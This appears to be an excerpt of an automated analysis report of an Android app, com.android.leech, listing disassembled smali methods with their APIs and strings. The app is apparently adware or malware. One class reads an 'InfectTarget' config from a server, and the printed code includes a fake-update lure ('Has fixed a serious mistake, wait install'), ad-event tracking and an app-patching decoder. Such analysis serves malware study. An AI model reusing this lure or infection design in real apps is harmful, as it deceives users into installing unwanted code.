                                                                              10invoke-static {v3, v0, v1, v2}, Lcom/android/leech/base/util/JsonUtils;->getJsonLong(Lorg/json/JSONObject;Ljava/lang/String;J)J
                                                                              11move-result-wide v0
                                                                              12iput-wide v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->ver:J
                                                                              14const-string v0, "type"
                                                                              16const-string v1, "DEF"
                                                                              18invoke-static {v3, v0, v1}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              19move-result-object v0
                                                                              20iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->type:Ljava/lang/String;
                                                                              22const-string v0, "app_cls"
                                                                              24invoke-static {v3, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              25move-result-object v0
                                                                              26iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->app_cls:Ljava/lang/String;
                                                                              28const-string v0, "activity"
                                                                              30invoke-static {v3, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              31move-result-object v0
                                                                              32iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->activity:Ljava/lang/String;
                                                                              34const-string v0, "title"
                                                                              35new-instance v1, Ljava/lang/StringBuilder;
                                                                              37invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              39invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              40move-result-object v1
                                                                              42const-string v2, " update!!!"
                                                                              44invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              45move-result-object v1
                                                                              47invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              48move-result-object v1
                                                                              50invoke-static {v3, v0, v1}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              51move-result-object v0
                                                                              52iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->title:Ljava/lang/String;
                                                                              54const-string v0, "text"
                                                                              55new-instance v1, Ljava/lang/StringBuilder;
                                                                              57invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              59invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              60move-result-object v1
                                                                              62const-string v2, " Has fixed a serious mistake, wait install"
                                                                              64invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              65move-result-object v1
                                                                              67invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              68move-result-object v1
                                                                              70invoke-static {v3, v0, v1}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              71move-result-object v0
                                                                              72iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->text:Ljava/lang/String;
                                                                              74const-string v0, "order"
                                                                              76invoke-static {v3, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonInt(Lorg/json/JSONObject;Ljava/lang/String;)I
                                                                              77move-result v0
                                                                              78iput v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->order:I
                                                                              80const-string v0, "key"
                                                                              82invoke-static {v3, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              83move-result-object v0
                                                                              84iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->key:Ljava/lang/String;
                                                                              86const-string v0, "secret"
                                                                              88invoke-static {v3, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              89move-result-object v0
                                                                              90iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->secret:Ljava/lang/String;
                                                                              91return-void
                                                                              APIs
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getConfiguration
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • Phone
                                                                              • Tablet
                                                                              • UMUtils
                                                                              • get device type e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1if-nez p0, :cond_6
                                                                              3const-string v0, "Phone"
                                                                              4goto_5: return-object v0
                                                                              5try_start_6:
                                                                              6invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              7move-result-object v1
                                                                              9invoke-virtual {v1}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
                                                                              10move-result-object v1
                                                                              11iget v0, v1, Landroid/content/res/Configuration;->screenLayout:I
                                                                              12try_end_10: and-int/lit8 v0, v0, 0xf
                                                                              13const/4 v1, 0x3
                                                                              14if-lt v0, v1, :cond_60
                                                                              15const/4 v0, 0x1
                                                                              16goto_16: if-eqz v0, :cond_1b
                                                                              18const-string v0, "Tablet"
                                                                              19goto/16 :goto_5
                                                                              20cond_1b:
                                                                              21const-string v0, "Phone"
                                                                              22goto/16 :goto_5
                                                                              23catch_1e: move-exception v1
                                                                              24sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              25if-eqz v2, :cond_3b
                                                                              27const-string v2, "UMUtils"
                                                                              28new-instance v3, Ljava/lang/StringBuilder;
                                                                              30invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              32const-string v4, "get device type e is "
                                                                              34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              35move-result-object v3
                                                                              37invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              38move-result-object v3
                                                                              40invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              41move-result-object v3
                                                                              43invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              44cond_3b:
                                                                              45invoke-static {p0, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              46goto/16 :goto_5
                                                                              47catch_3f: move-exception v1
                                                                              48sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              49if-eqz v2, :cond_5c
                                                                              51const-string v2, "UMUtils"
                                                                              52new-instance v3, Ljava/lang/StringBuilder;
                                                                              54invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              56const-string v4, "get device type e is "
                                                                              58invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              59move-result-object v3
                                                                              61invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              62move-result-object v3
                                                                              64invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              65move-result-object v3
                                                                              67invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              68cond_5c:
                                                                              69invoke-static {p0, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              70goto/16 :goto_5
                                                                              71cond_60: const/4 v0, 0x0
                                                                              72goto/16 :goto_16
                                                                              APIs
                                                                              • uAgent.commonsdk.statistics.proto.b$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.b$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.b$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.b$e.a:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • uAgent.commonsdk.statistics.proto.b$e.b:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • uAgent.commonsdk.statistics.proto.b$e.c:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.EnumSet.allOf
                                                                              • java.util.EnumSet.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • uAgent.commonsdk.statistics.proto.b$e.d:Ljava/util/Map
                                                                              • uAgent.commonsdk.statistics.proto.b$e.b
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • IDENTITY
                                                                              • identity
                                                                              • TS
                                                                              • ts
                                                                              • VERSION
                                                                              • version
                                                                              Position Instruction Meta Information
                                                                              0const/4 v6, 0x3
                                                                              1const/4 v5, 0x0
                                                                              2const/4 v4, 0x2
                                                                              3const/4 v3, 0x1
                                                                              4new-instance v0, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              6const-string v1, "IDENTITY"
                                                                              8const-string v2, "identity"
                                                                              10invoke-direct {v0, v1, v5, v3, v2}, LuAgent/commonsdk/statistics/proto/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              11sput-object v0, LuAgent/commonsdk/statistics/proto/b$e;->a:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              12new-instance v0, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              14const-string v1, "TS"
                                                                              16const-string v2, "ts"
                                                                              18invoke-direct {v0, v1, v3, v4, v2}, LuAgent/commonsdk/statistics/proto/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              19sput-object v0, LuAgent/commonsdk/statistics/proto/b$e;->b:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              20new-instance v0, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              22const-string v1, "VERSION"
                                                                              24const-string v2, "version"
                                                                              26invoke-direct {v0, v1, v4, v6, v2}, LuAgent/commonsdk/statistics/proto/b$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              27sput-object v0, LuAgent/commonsdk/statistics/proto/b$e;->c:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              28new-array v0, v6, [LuAgent/commonsdk/statistics/proto/b$e;
                                                                              30sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->a:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              31aput-object v1, v0, v5
                                                                              33sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->b:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              34aput-object v1, v0, v3
                                                                              36sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->c:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              37aput-object v1, v0, v4
                                                                              38sput-object v0, LuAgent/commonsdk/statistics/proto/b$e;->g:[LuAgent/commonsdk/statistics/proto/b$e;
                                                                              39new-instance v0, Ljava/util/HashMap;
                                                                              41invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              42sput-object v0, LuAgent/commonsdk/statistics/proto/b$e;->d:Ljava/util/Map;
                                                                              43const-class v0, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              45invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                                                                              46move-result-object v0
                                                                              48invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                                                                              49move-result-object v1
                                                                              50goto_46:
                                                                              51invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                                              52move-result v0
                                                                              53if-eqz v0, :cond_5c
                                                                              55invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              56move-result-object v0
                                                                              57check-cast v0, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              59sget-object v2, LuAgent/commonsdk/statistics/proto/b$e;->d:Ljava/util/Map;
                                                                              61invoke-virtual {v0}, LuAgent/commonsdk/statistics/proto/b$e;->b()Ljava/lang/String;
                                                                              62move-result-object v3
                                                                              64invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              65goto/16 :goto_46
                                                                              66cond_5c: return-void
                                                                              APIs
                                                                              • uAgent.commonsdk.statistics.proto.d$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.d$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.d$e.<init>
                                                                              • uAgent.commonsdk.statistics.proto.d$e.a:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • uAgent.commonsdk.statistics.proto.d$e.b:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • uAgent.commonsdk.statistics.proto.d$e.c:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.EnumSet.allOf
                                                                              • java.util.EnumSet.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • uAgent.commonsdk.statistics.proto.d$e.d:Ljava/util/Map
                                                                              • uAgent.commonsdk.statistics.proto.d$e.b
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • PROPERTY
                                                                              • property
                                                                              • VERSION
                                                                              • version
                                                                              • CHECKSUM
                                                                              • checksum
                                                                              Position Instruction Meta Information
                                                                              0const/4 v6, 0x3
                                                                              1const/4 v5, 0x0
                                                                              2const/4 v4, 0x2
                                                                              3const/4 v3, 0x1
                                                                              4new-instance v0, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              6const-string v1, "PROPERTY"
                                                                              8const-string v2, "property"
                                                                              10invoke-direct {v0, v1, v5, v3, v2}, LuAgent/commonsdk/statistics/proto/d$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              11sput-object v0, LuAgent/commonsdk/statistics/proto/d$e;->a:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              12new-instance v0, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              14const-string v1, "VERSION"
                                                                              16const-string v2, "version"
                                                                              18invoke-direct {v0, v1, v3, v4, v2}, LuAgent/commonsdk/statistics/proto/d$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              19sput-object v0, LuAgent/commonsdk/statistics/proto/d$e;->b:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              20new-instance v0, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              22const-string v1, "CHECKSUM"
                                                                              24const-string v2, "checksum"
                                                                              26invoke-direct {v0, v1, v4, v6, v2}, LuAgent/commonsdk/statistics/proto/d$e;-><init>(Ljava/lang/String;ISLjava/lang/String;)V
                                                                              27sput-object v0, LuAgent/commonsdk/statistics/proto/d$e;->c:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              28new-array v0, v6, [LuAgent/commonsdk/statistics/proto/d$e;
                                                                              30sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->a:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              31aput-object v1, v0, v5
                                                                              33sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->b:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              34aput-object v1, v0, v3
                                                                              36sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->c:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              37aput-object v1, v0, v4
                                                                              38sput-object v0, LuAgent/commonsdk/statistics/proto/d$e;->g:[LuAgent/commonsdk/statistics/proto/d$e;
                                                                              39new-instance v0, Ljava/util/HashMap;
                                                                              41invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              42sput-object v0, LuAgent/commonsdk/statistics/proto/d$e;->d:Ljava/util/Map;
                                                                              43const-class v0, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              45invoke-static {v0}, Ljava/util/EnumSet;->allOf(Ljava/lang/Class;)Ljava/util/EnumSet;
                                                                              46move-result-object v0
                                                                              48invoke-virtual {v0}, Ljava/util/EnumSet;->iterator()Ljava/util/Iterator;
                                                                              49move-result-object v1
                                                                              50goto_46:
                                                                              51invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                                              52move-result v0
                                                                              53if-eqz v0, :cond_5c
                                                                              55invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              56move-result-object v0
                                                                              57check-cast v0, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              59sget-object v2, LuAgent/commonsdk/statistics/proto/d$e;->d:Ljava/util/Map;
                                                                              61invoke-virtual {v0}, LuAgent/commonsdk/statistics/proto/d$e;->b()Ljava/lang/String;
                                                                              62move-result-object v3
                                                                              64invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              65goto/16 :goto_46
                                                                              66cond_5c: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.String.equals
                                                                              • java.lang.System.out:Ljava/io/PrintStream
                                                                              • java.io.PrintStream.println
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • android
                                                                              • id
                                                                              • hehe
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "attrs" # [Lcom/android/leech/patch/decode/BTagNode$Attribute;
                                                                              1.prologue
                                                                              2const/16 v7, 0x22
                                                                              3array-length v4, p1
                                                                              4const/4 v3, 0x0
                                                                              5goto_4: if-ge v3, v4, :cond_55
                                                                              6aget-object v0, p1, v3
                                                                              7new-instance v2, Ljava/lang/StringBuilder;
                                                                              9invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              11invoke-virtual {v0}, Lcom/android/leech/patch/decode/BTagNode$Attribute;->hasNamespace()Z
                                                                              12move-result v5
                                                                              13if-eqz v5, :cond_1e
                                                                              15const-string v5, "android"
                                                                              17invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              18move-result-object v5
                                                                              19const/16 v6, 0x3a
                                                                              21invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                                              22cond_1e: iget v5, v0, Lcom/android/leech/patch/decode/BTagNode$Attribute;->mName:I
                                                                              24invoke-direct {p0, v5}, Lcom/android/leech/patch/decode/XMLVisitor;->getStringAt(I)Ljava/lang/String;
                                                                              25move-result-object v1
                                                                              27const-string v5, "id"
                                                                              29invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              30move-result v5
                                                                              31if-eqz v5, :cond_33
                                                                              33sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
                                                                              35const-string v6, "hehe"
                                                                              37invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
                                                                              38cond_33:
                                                                              39invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              40move-result-object v5
                                                                              41const/16 v6, 0x3d
                                                                              43invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                                              45invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                                              46move-result-object v5
                                                                              48invoke-direct {p0, v0}, Lcom/android/leech/patch/decode/XMLVisitor;->getAttributeValue(Lcom/android/leech/patch/decode/BTagNode$Attribute;)Ljava/lang/String;
                                                                              49move-result-object v6
                                                                              51invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              52move-result-object v5
                                                                              54invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                                              56invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              57move-result-object v5
                                                                              59invoke-direct {p0, v5}, Lcom/android/leech/patch/decode/XMLVisitor;->print(Ljava/lang/String;)V
                                                                              60add-int/lit8 v3, v3, 0x1
                                                                              61goto/16 :goto_4
                                                                              62cond_55: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • platform
                                                                              • ad_type
                                                                              • ad_id
                                                                              • offer_id
                                                                              • type
                                                                              • time
                                                                              Position Instruction Meta Information
                                                                              0.annotation system Ldalvik/annotation/Throws;
                                                                              1value = {
                                                                              2Lorg/json/JSONException;
                                                                              3}
                                                                              4.end annotation
                                                                              5.prologue
                                                                              6new-instance v0, Lorg/json/JSONObject;
                                                                              8invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              10const-string v1, "platform"
                                                                              12iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->platform:Ljava/lang/String;
                                                                              14invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              16const-string v1, "ad_type"
                                                                              18iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->ad_type:Ljava/lang/String;
                                                                              20invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              22const-string v1, "ad_id"
                                                                              24iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->ad_id:Ljava/lang/String;
                                                                              26invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              28const-string v1, "offer_id"
                                                                              30iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->offer_id:Ljava/lang/String;
                                                                              32invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              34const-string v1, "type"
                                                                              36iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->type:Ljava/lang/String;
                                                                              38invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              40const-string v1, "time"
                                                                              42iget-object v2, p0, Lcom/android/leech/main/ad/mini/database/dao/GourdEvent;->time:Ljava/lang/String;
                                                                              44invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              45return-object v0
                                                                              APIs
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.Map.put
                                                                              • java.util.Map.put
                                                                              • java.util.EnumMap.<init>
                                                                              • uAgent.commonsdk.statistics.proto.d$e.a:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.statistics.proto.d$e.b:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.statistics.proto.d$e.c:LuAgent/commonsdk/statistics/proto/d$e
                                                                              • java.util.Map.put
                                                                              • java.util.Collections.unmodifiableMap
                                                                              Strings
                                                                              • Imprint
                                                                              • property
                                                                              • version
                                                                              • checksum
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x0
                                                                              1const/16 v12, 0xd
                                                                              2const/16 v11, 0x8
                                                                              3const/16 v10, 0xb
                                                                              4const/4 v9, 0x1
                                                                              5new-instance v0, LuAgent/commonsdk/proguard/ap;
                                                                              7const-string v1, "Imprint"
                                                                              9invoke-direct {v0, v1}, LuAgent/commonsdk/proguard/ap;-><init>(Ljava/lang/String;)V
                                                                              10sput-object v0, LuAgent/commonsdk/statistics/proto/d;->f:LuAgent/commonsdk/proguard/ap;
                                                                              11new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              13const-string v1, "property"
                                                                              15invoke-direct {v0, v1, v12, v9}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              16sput-object v0, LuAgent/commonsdk/statistics/proto/d;->g:LuAgent/commonsdk/proguard/af;
                                                                              17new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              19const-string v1, "version"
                                                                              20const/4 v2, 0x2
                                                                              22invoke-direct {v0, v1, v11, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              23sput-object v0, LuAgent/commonsdk/statistics/proto/d;->h:LuAgent/commonsdk/proguard/af;
                                                                              24new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              26const-string v1, "checksum"
                                                                              27const/4 v2, 0x3
                                                                              29invoke-direct {v0, v1, v10, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              30sput-object v0, LuAgent/commonsdk/statistics/proto/d;->i:LuAgent/commonsdk/proguard/af;
                                                                              31new-instance v0, Ljava/util/HashMap;
                                                                              33invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              34sput-object v0, LuAgent/commonsdk/statistics/proto/d;->j:Ljava/util/Map;
                                                                              36sget-object v0, LuAgent/commonsdk/statistics/proto/d;->j:Ljava/util/Map;
                                                                              37const-class v1, LuAgent/commonsdk/proguard/au;
                                                                              38new-instance v2, LuAgent/commonsdk/statistics/proto/d$b;
                                                                              40invoke-direct {v2, v3}, LuAgent/commonsdk/statistics/proto/d$b;-><init>(LuAgent/commonsdk/statistics/proto/d$1;)V
                                                                              42invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              44sget-object v0, LuAgent/commonsdk/statistics/proto/d;->j:Ljava/util/Map;
                                                                              45const-class v1, LuAgent/commonsdk/proguard/av;
                                                                              46new-instance v2, LuAgent/commonsdk/statistics/proto/d$d;
                                                                              48invoke-direct {v2, v3}, LuAgent/commonsdk/statistics/proto/d$d;-><init>(LuAgent/commonsdk/statistics/proto/d$1;)V
                                                                              50invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              51new-instance v0, Ljava/util/EnumMap;
                                                                              52const-class v1, LuAgent/commonsdk/statistics/proto/d$e;
                                                                              54invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                                                                              56sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->a:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              57new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              59const-string v3, "property"
                                                                              60new-instance v4, LuAgent/commonsdk/proguard/aa;
                                                                              61new-instance v5, LuAgent/commonsdk/proguard/y;
                                                                              63invoke-direct {v5, v10}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              64new-instance v6, LuAgent/commonsdk/proguard/ac;
                                                                              65const/16 v7, 0xc
                                                                              66const-class v8, LuAgent/commonsdk/statistics/proto/e;
                                                                              68invoke-direct {v6, v7, v8}, LuAgent/commonsdk/proguard/ac;-><init>(BLjava/lang/Class;)V
                                                                              70invoke-direct {v4, v12, v5, v6}, LuAgent/commonsdk/proguard/aa;-><init>(BLuAgent/commonsdk/proguard/y;LuAgent/commonsdk/proguard/y;)V
                                                                              72invoke-direct {v2, v3, v9, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              74invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              76sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->b:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              77new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              79const-string v3, "version"
                                                                              80new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              82invoke-direct {v4, v11}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              84invoke-direct {v2, v3, v9, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              86invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              88sget-object v1, LuAgent/commonsdk/statistics/proto/d$e;->c:LuAgent/commonsdk/statistics/proto/d$e;
                                                                              89new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              91const-string v3, "checksum"
                                                                              92new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              94invoke-direct {v4, v10}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              96invoke-direct {v2, v3, v9, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
